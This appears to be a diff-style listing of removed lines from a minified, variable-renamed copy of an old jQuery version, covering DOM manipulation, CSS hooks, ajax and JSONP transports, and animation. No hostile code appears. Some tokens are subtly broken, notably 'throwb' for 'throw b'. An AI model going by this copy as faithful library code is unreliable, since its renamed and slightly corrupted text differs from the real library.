- empty: function() {
- for (var b = 0, c; (c = this[b]) != A0; b++) {
- c.nodeType === 1 && g.cleanData(c.getElementsByTagName(M));
- while (c.firstChild)
- c.removeChild(c.firstChild)
- }
- return this
- },
- clone: function(b, c) {
- b = b == A0 ? !1: b,
- c = c == A0 ? b: c;
- return this.map(function() {
- return g.clone(this, b, c)
- })
- },
- html: function(h) {
- return g.access(this, function(c) {
- var d = this[0] || {},
- e = 0,
- f = this.length;
- if (c === v)
- return d.nodeType === 1 ? d.innerHTML.replace(i3, "") : A0;
- if (typeof c == E && !x3.test(c) && (g.support.leadingWhitespace || !Q1.test(c)) && !f0[(z2.exec(c) || ["", ""])[1].toLowerCase()]) {
- c = c.replace(y2, "<$1></$2>");
- try {
- for (; e < f; e++)
- d = this[e] || {},
- d.nodeType === 1 && (g.cleanData(d.getElementsByTagName(M)), d.innerHTML = c);
- d = 0
- } catch(b) {}
- }
- d && this.empty().append(c)
- }, A0, h, arguments.length)
- },
- replaceWith: function(e) {
- if (this[0] && this[0].parentNode) {
- if (g.isFunction(e))
- return this.each(function(b) {
- var c = g(this),
- d = c.html();
- c.replaceWith(e.call(this, b, d))
- });
- typeof e != E && (e = g(e).detach());
- return this.each(function() {
- var b = this.nextSibling,
- c = this.parentNode;
- g(this).remove(),
- b ? g(b).before(e) : g(c).append(e)
- })
- }
- return this.length ? this.pushStack(g(g.isFunction(e) ? e() : e), x1, e) : this
- },
- detach: function(b) {
- return this.remove(b, !0)
- },
- domManip: function(d, e, f) {
- var h,
- i,
- j,
- k,
- l = d[0],
- m = [];
- if (!g.support.checkClone && arguments.length === 3 && typeof l == E && B2.test(l))
- return this.each(function() {
- g(this).domManip(d, e, f, !0)
- });
- if (g.isFunction(l))
- return this.each(function(b) {
- var c = g(this);
- d[0] = l.call(this, b, e ? c.html() : v),
- c.domManip(d, e, f)
- });
- if (this[0]) {
- k = l && l.parentNode,
- g.support.parentNode && k && k.nodeType === 11 && k.childNodes.length === this.length ? h = {
- fragment: k
- }: h = g.buildFragment(d, this, m),
- j = h.fragment,
- j.childNodes.length === 1 ? i = j = j.firstChild: i = j.firstChild;
- if (i) {
- e = e && g.nodeName(i, "tr");
- for (var n = 0, q = this.length, t = q - 1; n < q; n++)
- f.call(e ? R2(this[n], i) : this[n], h.cacheable || q > 1 && n < t ? g.clone(j, !0, !0) : j)
- }
- m.length && g.each(m, function(b, c) {
- c.src ? g.ajax({
- type: "GET",
- global: !1,
- url: c.src,
- async: !1,
- dataType: j0
- }) : g.globalEval((c.text || c.textContent || c.innerHTML || "").replace(u3, "/*$0*/")),
- c.parentNode && c.parentNode.removeChild(c)
- })
- }
- return this
- }
- }),
- g.buildFragment = function(b, c, d) {
- var e,
- f,
- h,
- i,
- j = b[0];
- c && c[0] && (i = c[0].ownerDocument || c[0]),
- i.createDocumentFragment || (i = x),
- b.length === 1 && typeof j == E && j.length < 512 && i === x && j.charAt(0) === "<" && !w3.test(j) && (g.support.checkClone || !B2.test(j)) && (g.support.html5Clone || !C2.test(j)) && (f = !0, h = g.fragments[j], h && h !== 1 && (e = h)),
- e || (e = i.createDocumentFragment(), g.clean(b, i, e, d)),
- f && (g.fragments[j] = h ? e: 1);
- return {
- fragment: e,
- cacheable: f
- }
- },
- g.fragments = {},
- g.each({
- appendTo: "append",
- prependTo: "prepend",
- insertBefore: "before",
- insertAfter: "after",
- replaceAll: x1
- }, function(j, k) {
- g.fn[j] = function(b) {
- var c = [],
- d = g(b),
- e = this.length === 1 && this[0].parentNode;
- if (e && e.nodeType === 11 && e.childNodes.length === 1 && d.length === 1) {
- d[k](this[0]);
- return this
- }
- for (var f = 0, h = d.length; f < h; f++) {
- var i = (f > 0 ? this.clone(!0) : this).get();
- g(d[f])[k](i),
- c = c.concat(i)
- }
- return this.pushStack(c, j, d.selector)
- }
- }),
- g.extend({
- clone: function(b, c, d) {
- var e,
- f,
- h,
- i = g.support.html5Clone || g.isXMLDoc(b) || !C2.test("<" + b.nodeName + ">") ? b.cloneNode(!0) : T2(b);
- if ((!g.support.noCloneEvent || !g.support.noCloneChecked) && (b.nodeType === 1 || b.nodeType === 11) && !g.isXMLDoc(b)) {
- e2(b, i),
- e = E1(b),
- f = E1(i);
- for (h = 0; e[h];++h)
- f[h] && e2(e[h], f[h])
- }
- if (c) {
- f2(b, i);
- if (d) {
- e = E1(b),
- f = E1(i);
- for (h = 0; e[h];++h)
- f2(e[h], f[h])
- }
- }
- e = f = A0;
- return i
- },
- clean: function(c, d, e, f) {
- var h,
- i,
- j,
- k = [];
- d = d || x,
- typeof d.createElement == d0 && (d = d.ownerDocument || d[0] && d[0].ownerDocument || x);
- for (var l = 0, m; (m = c[l]) != A0; l++) {
- typeof m == p1 && (m += "");
- if (!m)
- continue;
- if (typeof m == E)
- if (!v3.test(m))
- m = d.createTextNode(m);
- else {
- m = m.replace(y2, "<$1></$2>");
- var n = (z2.exec(m) || ["", ""])[1].toLowerCase(),
- q = f0[n] || f0._default,
- t = q[0],
- r = d.createElement(e0),
- o = S1.childNodes,
- w;
- d === x ? S1.appendChild(r) : h2(d).appendChild(r),
- r.innerHTML = q[1] + m + q[2];
- while (t--)
- r = r.lastChild;
- if (!g.support.tbody) {
- var p = jotaQuery.test(m),
- B = n === "table" && !p ? r.firstChild && r.firstChild.childNodes: q[1] === "<table>" && !p ? r.childNodes: [];
- for (j = B.length - 1; j >= 0;--j)
- g.nodeName(B[j], X0) && !B[j].childNodes.length && B[j].parentNode.removeChild(B[j])
- } ! g.support.leadingWhitespace && Q1.test(m) && r.insertBefore(d.createTextNode(Q1.exec(m)[0]), r.firstChild),
- m = r.childNodes,
- r && (r.parentNode.removeChild(r), o.length > 0 && (w = o[o.length - 1], w && w.parentNode && w.parentNode.removeChild(w)))
- }
- var G;
- if (!g.support.appendChecked)
- if (m[0] && typeof(G = m.length) == p1)
- for (j = 0; j < G; j++)
- d2(m[j]);
- else
- d2(m);
- m.nodeType ? k.push(m) : k = g.merge(k, m)
- }
- if (e) {
- h = function(b) {
- return ! b.type || D2.test(b.type)
- };
- for (l = 0; k[l]; l++) {
- i = k[l];
- if (f && g.nodeName(i, j0) && (!i.type || D2.test(i.type)))
- f.push(i.parentNode ? i.parentNode.removeChild(i) : i);
- else {
- if (i.nodeType === 1) {
- var I = g.grep(i.getElementsByTagName(j0), h);
- k.splice.apply(k, [l + 1, 0].concat(I))
- }
- e.appendChild(i)
- }
- }
- }
- return k
- },
- cleanData: function(b) {
- var c,
- d,
- e = g.cache,
- f = g.event.special,
- h = g.support.deleteExpando;
- for (var i = 0, j; (j = b[i]) != A0; i++) {
- if (j.nodeName && g.noData[j.nodeName.toLowerCase()])
- continue;
- d = j[g.expando];
- if (d) {
- c = e[d];
- if (c && c.events) {
- for (var k in c.events)
- f[k] ? g.event.remove(j, k) : g.removeEvent(j, k, c.handle);
- c.handle && (c.handle.elem = A0)
- }
- h ? delete j[g.expando] : j.removeAttribute && j.removeAttribute(g.expando),
- delete e[d]
- }
- }
- }
- });
- var T1 = /alpha\([^)]*\)/i,
- t3 = /opacity=([^)]*)/,
- r3 = /([A-Z]|^ms)/g,
- q3 = /^[\-+]?(?:\d*\.)?\d+$/i,
- R1 = /^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,
- s3 = /^([\-+])=([\-+.\de]+)/,
- G3 = /^margin/,
- H3 = {
- position: "absolute",
- visibility: w0,
- display: "block"
- },
- b1 = ["Top", "Right", "Bottom", "Left"],
- r1,
- G2,
- H2;
- g.fn.css = function(e, f) {
- return g.access(this, function(b, c, d) {
- return d !== v ? g.style(b, c, d) : g.css(b, c)
- }, e, f, arguments.length > 1)
- },
- g.extend({
- cssHooks: {
- opacity: {
- get: function(b, c) {
- if (c) {
- var d = r1(b, U0);
- return d === "" ? "1": d
- }
- return b.style.opacity
- }
- }
- },
- cssNumber: {
- fillOpacity: !0,
- fontWeight: !0,
- lineHeight: !0,
- opacity: !0,
- orphans: !0,
- widows: !0,
- zIndex: !0,
- zoom: !0
- },
- cssProps: {
- "float": g.support.cssFloat ? "cssFloat": "styleFloat"
- },
- style: function(c, d, e, f) {
- if ( !! c && c.nodeType !== 3 && c.nodeType !== 8 && !!c.style) {
- var h,
- i,
- j = g.camelCase(d),
- k = c.style,
- l = g.cssHooks[j];
- d = g.cssProps[j] || j;
- if (e === v) {
- if (l && n0 in l && (h = l.get(c, !1, f)) !== v)
- return h;
- return k[d]
- }
- i = typeof e,
- i === E && (h = s3.exec(e)) && (e = +(h[1] + 1) * +h[2] + parseFloat(g.css(c, d)), i = p1);
- if (e == A0 || i === p1 && isNaN(e))
- return;
- i === p1 && !g.cssNumber[j] && (e += z0);
- if (!l || !("set" in l) || (e = l.set(c, e)) !== v)
- try {
- k[d] = e
- } catch(b) {}
- }
- },
- css: function(b, c, d) {
- var e,
- f;
- c = g.camelCase(c),
- f = g.cssHooks[c],
- c = g.cssProps[c] || c,
- c === "cssFloat" && (c = "float");
- if (f && n0 in f && (e = f.get(b, !0, d)) !== v)
- return e;
- if (r1)
- return r1(b, c)
- },
- swap: function(b, c, d) {
- var e = {},
- f,
- h;
- for (h in c)
- e[h] = b.style[h],
- b.style[h] = c[h];
- f = d.call(b);
- for (h in c)
- b.style[h] = e[h];
- return f
- }
- }),
- g.curCSS = g.css,
- x.defaultView && x.defaultView.getComputedStyle && (G2 = function(b, c) {
- var d,
- e,
- f,
- h,
- i = b.style;
- c = c.replace(r3, "-$1").toLowerCase(),
- (e = b.ownerDocument.defaultView) && (f = e.getComputedStyle(b, A0)) && (d = f.getPropertyValue(c), d === "" && !g.contains(b.ownerDocument.documentElement, b) && (d = g.style(b, c))),
- !g.support.pixelMargin && f && G3.test(c) && R1.test(d) && (h = i.width, i.width = d, d = f.width, i.width = h);
- return d
- }),
- x.documentElement.currentStyle && (H2 = function(b, c) {
- var d,
- e,
- f,
- h = b.currentStyle && b.currentStyle[c],
- i = b.style;
- h == A0 && i && (f = i[c]) && (h = f),
- R1.test(h) && (d = i.left, e = b.runtimeStyle && b.runtimeStyle.left, e && (b.runtimeStyle.left = b.currentStyle.left), i.left = c === "fontSize" ? "1em": h, h = i.pixelLeft + z0, i.left = d, e && (b.runtimeStyle.left = e));
- return h === "" ? j1: h
- }),
- r1 = G2 || H2,
- g.each([u0, k0], function(e, f) {
- g.cssHooks[f] = {
- get: function(b, c, d) {
- if (c)
- return b.offsetWidth !== 0 ? k2(b, f, d) : g.swap(b, H3, function() {
- return k2(b, f, d)
- })
- },
- set: function(b, c) {
- return q3.test(c) ? c + z0: c
- }
- }
- }),
- g.support.opacity || (g.cssHooks.opacity = {
- get: function(b, c) {
- return t3.test((c && b.currentStyle ? b.currentStyle.filter: b.style.filter) || "") ? parseFloat(RegExp.$1) / 100 + "": c ? "1": ""
- },
- set: function(b, c) {
- var d = b.style,
- e = b.currentStyle,
- f = g.isNumeric(c) ? "alpha(opacity=" + c * 100 + ")": "",
- h = e && e.filter || d.filter || "";
- d.zoom = 1;
- if (c >= 1 && g.trim(h.replace(T1, "")) === "") {
- d.removeAttribute("filter");
- if (e && !e.filter)
- return
- }
- d.filter = T1.test(h) ? h.replace(T1, f) : h + C + f
- }
- }),
- g(function() {
- g.support.reliableMarginRight || (g.cssHooks.marginRight = {
- get: function(b, c) {
- return g.swap(b, {
- display: D1
- }, function() {
- return c ? r1(b, "margin-right") : b.style.marginRight
- })
- }
- })
- }),
- g.expr && g.expr.filters && (g.expr.filters.hidden = function(b) {
- var c = b.offsetWidth,
- d = b.offsetHeight;
- return c === 0 && d === 0 || !g.support.reliableHiddenOffsets && (b.style && b.style.display || g.css(b, m1)) === K0
- }, g.expr.filters.visible = function(b) {
- return ! g.expr.filters.hidden(b)
- }),
- g.each({
- margin: "",
- padding: "",
- border: L
- }, function(f, h) {
- g.cssHooks[f + h] = {
- expand: function(b) {
- var c,
- d = typeof b == E ? b.split(C) : [b],
- e = {};
- for (c = 0; c < 4; c++)
- e[f + b1[c] + h] = d[c] || d[c - 2] || d[0];
- return e
- }
- }
- });
- var E3 = /%20/g,
- F3 = /\[\]$/,
- F2 = /\r?\n/g,
- B3 = /#.*$/,
- C3 = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
- D3 = /^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
- y3 = /^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,
- z3 = /^(?:GET|HEAD)$/,
- A3 = /^\/\//,
- E2 = /\?/,
- M3 = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
- L3 = /^(?:select|textarea)/i,
- M2 = /\s+/,
- K3 = /([?&])_=[^&]*/,
- L2 = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,
- K2 = g.fn.load,
- V1 = {},
- J2 = {},
- d1,
- c1,
- I2 = ["*/"] + [M];
- try {
- d1 = V2.href
- } catch(b) {
- d1 = x.createElement("a"),
- d1.href = "",
- d1 = d1.href
- }
- c1 = L2.exec(d1.toLowerCase()) || [],
- g.fn.extend({
- load: function(f, h, i) {
- if (typeof f != E && K2)
- return K2.apply(this, arguments);
- if (!this.length)
- return this;
- var j = f.indexOf(C);
- if (j >= 0) {
- var k = f.slice(j, f.length);
- f = f.slice(0, j)
- }
- var l = "GET";
- h && (g.isFunction(h) ? (i = h, h = v) : typeof h == S && (h = g.param(h, g.ajaxSettings.traditional), l = "POST"));
- var m = this;
- g.ajax({
- url: f,
- type: l,
- dataType: "html",
- data: h,
- complete: function(c, d, e) {
- e = c.responseText,
- c.isResolved() && (c.done(function(b) {
- e = b
- }), m.html(k ? g("<div>").append(e.replace(M3, "")).find(k) : e)),
- i && m.each(i, [e, d, c])
- }
- });
- return this
- },
- serialize: function() {
- return g.param(this.serializeArray())
- },
- serializeArray: function() {
- return this.map(function() {
- return this.elements ? g.makeArray(this.elements) : this
- }).filter(function() {
- return this.name && !this.disabled && (this.checked || L3.test(this.nodeName) || D3.test(this.type))
- }).map(function(d, e) {
- var f = g(this).val();
- return f == A0 ? A0: g.isArray(f) ? g.map(f, function(b, c) {
- return {
- name: e.name,
- value: b.replace(F2, "\r\n")
- }
- }) : {
- name: e.name,
- value: f.replace(F2, "\r\n")
- }
- }).get()
- }
- }),
- g.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(C), function(c, d) {
- g.fn[d] = function(b) {
- return this.on(d, b)
- }
- }),
- g.each([n0, "post"], function(f, h) {
- g[h] = function(b, c, d, e) {
- g.isFunction(c) && (e = e || d, d = c, c = v);
- return g.ajax({
- type: h,
- url: b,
- data: c,
- success: d,
- dataType: e
- })
- }
- }),
- g.extend({
- getScript: function(b, c) {
- return g.get(b, v, c, j0)
- },
- getJSON: function(b, c, d) {
- return g.get(b, c, d, "json")
- },
- ajaxSetup: function(b, c) {
- c ? i2(b, g.ajaxSettings) : (c = b, b = g.ajaxSettings),
- i2(b, c);
- return b
- },
- ajaxSettings: {
- url: d1,
- isLocal: y3.test(c1[1]),
- global: !0,
- type: "GET",
- contentType: "application/x-www-form-urlencoded; charset=UTF-8",
- processData: !0,
- async: !0,
- accepts: {
- xml: "application/xml, text/xml",
- html: "text/html",
- text: "text/plain",
- json: "application/json, text/javascript",
- "*": I2
- },
- contents: {
- xml: /xml/,
- html: /html/,
- json: /json/
- },
- responseFields: {
- xml: "responseXML",
- text: "responseText"
- },
- converters: {
- "* text": F.String,
- "text html": !0,
- "text json": g.parseJSON,
- "text xml": g.parseXML
- },
- flatOptions: {
- context: !0,
- url: !0
- }
- },
- ajaxPrefilter: j2(V1),
- ajaxTransport: j2(J2),
- ajax: function(q, t) {
- function r(c, d, e, f) {
- if (K !== 2) {
- K = 2,
- V && clearTimeout(V),
- z = v,
- Y = f || "",
- u.readyState = c > 0 ? 4: 0;
- var h,
- i,
- j,
- k = d,
- l = e ? S2(o, u, e) : v,
- m,
- n;
- if (c >= 200 && c < 300 || c === 304) {
- if (o.ifModified) {
- if (m = u.getResponseHeader("Last-Modified"))
- g.lastModified[A] = m;
- if (n = u.getResponseHeader("Etag"))
- g.etag[A] = n
- }
- if (c === 304)
- k = "notmodified",
- h = !0;
- else
- try {
- i = O2(o, l),
- k = "success",
- h = !0
- } catch(b) {
- k = H0,
- j = b
- }
- } else {
- j = k;
- if (!k || c)
- k = "error",
- c < 0 && (c = 0)
- }
- u.status = c,
- u.statusText = "" + (d || k),
- h ? B.resolveWith(w, [i, k, u]) : B.rejectWith(w, [u, k, j]),
- u.statusCode(I),
- I = v,
- y && p.trigger("ajax" + (h ? "Success": "Error"), [u, o, h ? i: j]),
- G.fireWith(w, [u, k]),
- y && (p.trigger("ajaxComplete", [u, o]), --g.active || g.event.trigger("ajaxStop"))
- }
- }
- typeof q == S && (t = q, q = v),
- t = t || {};
- var o = g.ajaxSetup({}, t),
- w = o.context || o,
- p = w !== o && (w.nodeType || w instanceof g) ? g(w) : g.event,
- B = g.Deferred(),
- G = g.Callbacks(W0),
- I = o.statusCode || {},
- A,
- T = {},
- W = {},
- Y,
- J,
- z,
- V,
- D,
- K = 0,
- y,
- a0,
- u = {
- readyState: 0,
- setRequestHeader: function(b, c) {
- if (!K) {
- var d = b.toLowerCase();
- b = W[d] = W[d] || b,
- T[b] = c
- }
- return this
- },
- getAllResponseHeaders: function() {
- return K === 2 ? Y: A0
- },
- getResponseHeader: function(b) {
- var c;
- if (K === 2) {
- if (!J) {
- J = {};
- while (c = C3.exec(Y))
- J[c[1].toLowerCase()] = c[2]
- }
- c = J[b.toLowerCase()]
- }
- return c === v ? A0: c
- },
- overrideMimeType: function(b) {
- K || (o.mimeType = b);
- return this
- },
- abort: function(b) {
- b = b || "abort",
- z && z.abort(b),
- r(0, b);
- return this
- }
- };
- B.promise(u),
- u.success = u.done,
- u.error = u.fail,
- u.complete = G.add,
- u.statusCode = function(b) {
- if (b) {
- var c;
- if (K < 2)
- for (c in b)
- I[c] = [I[c], b[c]];
- else
- c = b[u.status],
- u.then(c, c)
- }
- return this
- },
- o.url = ((q || o.url) + "").replace(B3, "").replace(A3, c1[1] + "//"),
- o.dataTypes = g.trim(o.dataType || M).toLowerCase().split(M2),
- o.crossDomain == A0 && (D = L2.exec(o.url.toLowerCase()), o.crossDomain = !(!D || D[1] == c1[1] && D[2] == c1[2] && (D[3] || (D[1] === "http:" ? 80: 443)) == (c1[3] || (c1[1] === "http:" ? 80: 443)))),
- o.data && o.processData && typeof o.data != E && (o.data = g.param(o.data, o.traditional)),
- F1(V1, o, t, u);
- if (K === 2)
- return ! 1;
- y = o.global,
- o.type = o.type.toUpperCase(),
- o.hasContent = !z3.test(o.type),
- y && g.active++===0 && g.event.trigger("ajaxStart");
- if (!o.hasContent) {
- o.data && (o.url += (E2.test(o.url) ? "&": "?") + o.data, delete o.data),
- A = o.url;
- if (o.cache === !1) {
- var o0 = g.now(),
- p0 = o.url.replace(K3, "$1_=" + o0);
- o.url = p0 + (p0 === o.url ? (E2.test(o.url) ? "&": "?") + "_=" + o0: "")
- }
- } (o.data && o.hasContent && o.contentType !== !1 || t.contentType) && u.setRequestHeader("Content-Type", o.contentType),
- o.ifModified && (A = A || o.url, g.lastModified[A] && u.setRequestHeader("If-Modified-Since", g.lastModified[A]), g.etag[A] && u.setRequestHeader("If-None-Match", g.etag[A])),
- u.setRequestHeader("Accept", o.dataTypes[0] && o.accepts[o.dataTypes[0]] ? o.accepts[o.dataTypes[0]] + (o.dataTypes[0] !== M ? ", " + I2 + "; q=0.01": "") : o.accepts[M]);
- for (a0 in o.headers)
- u.setRequestHeader(a0, o.headers[a0]);
- if (o.beforeSend && (o.beforeSend.call(w, u, o) === !1 || K === 2)) {
- u.abort();
- return ! 1
- }
- for (a0 in {
- success: 1,
- error: 1,
- complete: 1
- })
- u[a0](o[a0]);
- z = F1(J2, o, t, u);
- if (!z)
- r( - 1, "No Transport");
- else {
- u.readyState = 1,
- y && p.trigger("ajaxSend", [u, o]),
- o.async && o.timeout > 0 && (V = setTimeout(function() {
- u.abort("timeout")
- }, o.timeout));
- try {
- K = 1,
- z.send(T, r)
- } catch(b) {
- if (K < 2)
- r( - 1, b);
- else
- throwb
- }
- }
- return u
- },
- param: function(d, e) {
- var f = [],
- h = function(b, c) {
- c = g.isFunction(c) ? c() : c,
- f[f.length] = encodeURIComponent(b) + "=" + encodeURIComponent(c)
- };
- e === v && (e = g.ajaxSettings.traditional);
- if (g.isArray(d) || d.jquery && !g.isPlainObject(d))
- g.each(d, function() {
- h(this.name, this.value)
- });
- else
- for (var i in d)
- M1(i, d[i], e, h);
- return f.join("&").replace(E3, "+")
- }
- }),
- g.extend({
- active: 0,
- lastModified: {},
- etag: {}
- });
- var J3 = g.now(),
- I1 = /(\=)\?(&|$)|\?\?/i;
- g.ajaxSetup({
- jsonp: "callback",
- jsonpCallback: function() {
- return g.expando + "_" + J3++
- }
- }),
- g.ajaxPrefilter("json jsonp", function(c, d, e) {
- var f = typeof c.data == E && /^application\/x\-www\-form\-urlencoded/.test(c.contentType);
- if (c.dataTypes[0] === "jsonp" || c.jsonp !== !1 && (I1.test(c.url) || f && I1.test(c.data))) {
- var h,
- i = c.jsonpCallback = g.isFunction(c.jsonpCallback) ? c.jsonpCallback() : c.jsonpCallback,
- j = F[i],
- k = c.url,
- l = c.data,
- m = "$1" + i + "$2";
- c.jsonp !== !1 && (k = k.replace(I1, m), c.url === k && (f && (l = l.replace(I1, m)), c.data === l && (k += (/\?/.test(k) ? "&": "?") + c.jsonp + "=" + i))),
- c.url = k,
- c.data = l,
- F[i] = function(b) {
- h = [b]
- },
- e.always(function() {
- F[i] = j,
- h && g.isFunction(j) && F[i](h[0])
- }),
- c.converters["script json"] = function() {
- h || g.error(i + " was not called");
- return h[0]
- },
- c.dataTypes[0] = "json";
- return j0
- }
- }),
- g.ajaxSetup({
- accepts: {
- script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
- },
- contents: {
- script: /javascript|ecmascript/
- },
- converters: {
- "text script": function(b) {
- g.globalEval(b);
- return b
- }
- }
- }),
- g.ajaxPrefilter(j0, function(b) {
- b.cache === v && (b.cache = !1),
- b.crossDomain && (b.type = "GET", b.global = !1)
- }),
- g.ajaxTransport(j0, function(f) {
- if (f.crossDomain) {
- var h,
- i = x.head || x.getElementsByTagName("head")[0] || x.documentElement;
- return {
- send: function(d, e) {
- h = x.createElement(j0),
- h.async = "async",
- f.scriptCharset && (h.charset = f.scriptCharset),
- h.src = f.url,
- h.onload = h.onreadystatechange = function(b, c) {
- if (c || !h.readyState || /loaded|complete/.test(h.readyState))
- h.onload = h.onreadystatechange = A0,
- i && h.parentNode && i.removeChild(h),
- h = v,
- c || e(200, "success")
- },
- i.insertBefore(h, i.firstChild)
- },
- abort: function() {
- h && h.onload(0, 1)
- }
- }
- }
- });
- var U1 = F.ActiveXObject ? function() {
- for (var b in s1)
- s1[b](0, 1)
- }: !1,
- I3 = 0,
- s1;
- g.ajaxSettings.xhr = F.ActiveXObject ? function() {
- return ! this.isLocal && Y1() || P2()
- }: Y1,
- function(b) {
- g.extend(g.support, {
- ajax: !!b,
- cors: !!b && "withCredentials" in b
- })
- } (g.ajaxSettings.xhr()),
- g.support.ajax && g.ajaxTransport(function(r) {
- if (!r.crossDomain || g.support.cors) {
- var o;
- return {
- send: function(k, l) {
- var m = "X-Requested-With",
- n = r.xhr(),
- q,
- t;
- r.username ? n.open(r.type, r.url, r.async, r.username, r.password) : n.open(r.type, r.url, r.async);
- if (r.xhrFields)
- for (t in r.xhrFields)
- n[t] = r.xhrFields[t];
- r.mimeType && n.overrideMimeType && n.overrideMimeType(r.mimeType),
- !r.crossDomain && !k[m] && (k[m] = "XMLHttpRequest");
- try {
- for (t in k)
- n.setRequestHeader(t, k[t])
- } catch(b) {}
- n.send(r.hasContent && r.data || A0),
- o = function(c, d) {
- var e,
- f,
- h,
- i,
- j;
- try {
- if (o && (d || n.readyState === 4)) {
- o = v,
- q && (n.onreadystatechange = g.noop, U1 && delete s1[q]);
- if (d)
- n.readyState !== 4 && n.abort();
- else {
- e = n.status,
- h = n.getAllResponseHeaders(),
- i = {},
- j = n.responseXML,
- j && j.documentElement && (i.xml = j);
- try {
- i.text = n.responseText
- } catch(b) {}
- try {
- f = n.statusText
- } catch(b) {
- f = ""
- } ! e && r.isLocal && !r.crossDomain ? e = i.text ? 200: 404: e === 1223 && (e = 204)
- }
- }
- } catch(b) {
- d || l( - 1, b)
- }
- i && l(e, f, i, h)
- },
- !r.async || n.readyState === 4 ? o() : (q = ++I3, U1 && (s1 || (s1 = {}, g(F).unload(U1)), s1[q] = o), n.onreadystatechange = o)
- },
- abort: function() {
- o && o(0, 1)
- }
- }
- }
- });
- var X1 = {},
- C0,
- t1,
- P3 = /^(?:toggle|show|hide)$/,
- O3 = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,
- L1,
- J1 = [[u0, i1, "marginBottom", "paddingTop", "paddingBottom"], [k0, v1, "marginRight", "paddingLeft", "paddingRight"], [U0]],
- K1;
- g.fn.extend({
- show: function(b, c, d) {
- var e,
- f;
- if (b || b === 0)
- return this.animate(n1(s0, 3), b, c, d);
- for (var h = 0, i = this.length; h < i; h++)
- e = this[h],
- e.style && (f = e.style.display, !g._data(e, T0) && f === K0 && (f = e.style.display = ""), (f === "" && g.css(e, m1) === K0 || !g.contains(e.ownerDocument.documentElement, e)) && g._data(e, T0, a2(e.nodeName)));
- for (h = 0; h < i; h++) {
- e = this[h];
- if (e.style) {
- f = e.style.display;
- if (f === "" || f === K0)
- e.style.display = g._data(e, T0) || ""
- }
- }
- return this
- },
- hide: function(b, c, d) {
- if (b || b === 0)
- return this.animate(n1(Z, 3), b, c, d);
- var e,
- f,
- h = 0,
- i = this.length;
- for (; h < i; h++)
- e = this[h],
- e.style && (f = g.css(e, m1), f !== K0 && !g._data(e, T0) && g._data(e, T0, f));
- for (h = 0; h < i; h++)
- this[h].style && (this[h].style.display = K0);
- return this
- },
- _toggle: g.fn.toggle,
- toggle: function(c, d, e) {
- var f = typeof c == h0;
- g.isFunction(c) && g.isFunction(d) ? this._toggle.apply(this, arguments) : c == A0 || f ? this.each(function() {
- var b = f ? c: g(this).is(t0);
- g(this)[b ? s0: Z]()
- }) : this.animate(n1(m0, 3), c, d, e);
- return this
- },
- fadeTo: function(b, c, d, e) {
- return this.filter(t0).css(U0, 0).show().end().animate({
- opacity: c
- }, b, d, e)
- },
- animate: function(r, o, w, p) {
- function B() {
- G.queue === !1 && g._mark(this);
- var b = g.extend({}, G),
- c = this.nodeType === 1,
- d = c && g(this).is(t0),
- e,
- f,
- h,
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t;
- b.animatedProperties = {};
- for (h in r) {
- e = g.camelCase(h),
- h !== e && (r[e] = r[h], delete r[h]);
- if ((j = g.cssHooks[e]) && "expand" in j) {
- k = j.expand(r[e]),
- delete r[e];
- for (h in k)
- h in r || (r[h] = k[h])
- }
- }
- for (e in r) {
- f = r[e],
- g.isArray(f) ? (b.animatedProperties[e] = f[1], f = r[e] = f[0]) : b.animatedProperties[e] = b.specialEasing && b.specialEasing[e] || b.easing || "swing";
- if (f === Z && d || f === s0 && !d)
- return b.complete.call(this);
- c && (e === u0 || e === k0) && (b.overflow = [this.style.overflow, this.style.overflowX, this.style.overflowY], g.css(this, m1) === x0 && g.css(this, "float") === K0 && (!g.support.inlineBlockNeedsLayout || a2(this.nodeName) === x0 ? this.style.display = D1: this.style.zoom = 1))
- }
- b.overflow != A0 && (this.style.overflow = w0);
- for (h in r)
- i = new g.fx(this, b, h),
- f = r[h],
- P3.test(f) ? (t = g._data(this, m0 + h) || (f === m0 ? d ? s0: Z: 0), t ? (g._data(this, m0 + h, t === s0 ? Z: s0), i[t]()) : i[f]()) : (l = O3.exec(f), m = i.cur(), l ? (n = parseFloat(l[2]), q = l[3] || (g.cssNumber[h] ? "": z0), q !== z0 && (g.style(this, h, (n || 1) + q), m = (n || 1) / i.cur() * m, g.style(this, h, m + q)), l[1] && (n = (l[1] === "-=" ? -1: 1) * n + m), i.custom(m, n, q)) : i.custom(m, f, ""));
- return ! 0
- }
- var G = g.speed(o, w, p);
- if (g.isEmptyObject(r))
- return this.each(G.complete, [!1]);
- r = g.extend({}, r);
- return G.queue === !1 ? this.each(B) : this.queue(G.queue, B)
- },
- stop: function(l, m, n) {
- typeof l != E && (n = m, m = l, l = v),
- m && l !== !1 && this.queue(l || H, []);
- return this.each(function() {
- function f(b, c, d) {
- var e = c[d];
- g.removeData(b, d, !0),
- e.stop(n)
- }
- var h,
- i = !1,
- j = g.timers,
- k = g._data(this);
- n || g._unmark(!0, this);
- if (l == A0)
- for (h in k)
- k[h] && k[h].stop && h.indexOf(F0) === h.length - 4 && f(this, k, h);
- else
- k[h = l + F0] && k[h].stop && f(this, k, h);
- for (h = j.length; h--;)
- j[h].elem === this && (l == A0 || j[h].queue === l) && (n ? j[h](!0) : j[h].saveState(), i = !0, j.splice(h, 1)); (!n || !i) && g.dequeue(this, l)
- })
- }
- }),
- g.each({
- slideDown: n1(s0, 1),
- slideUp: n1(Z, 1),
- slideToggle: n1(m0, 1),
- fadeIn: {
- opacity: s0
- },
- fadeOut: {
- opacity: Z
- },
- fadeToggle: {
- opacity: m0
- }
- }, function(e, f) {
- g.fn[e] = function(b, c, d) {
- return this.animate(f, b, c, d)
- }
- }),
- g.extend({
- speed: function(c, d, e) {
- var f = c && typeof c == S ? g.extend({}, c) : {
- complete: e || !e && d || g.isFunction(c) && c,
- duration: c,
- easing: e && d || d && !g.isFunction(d) && d
- };
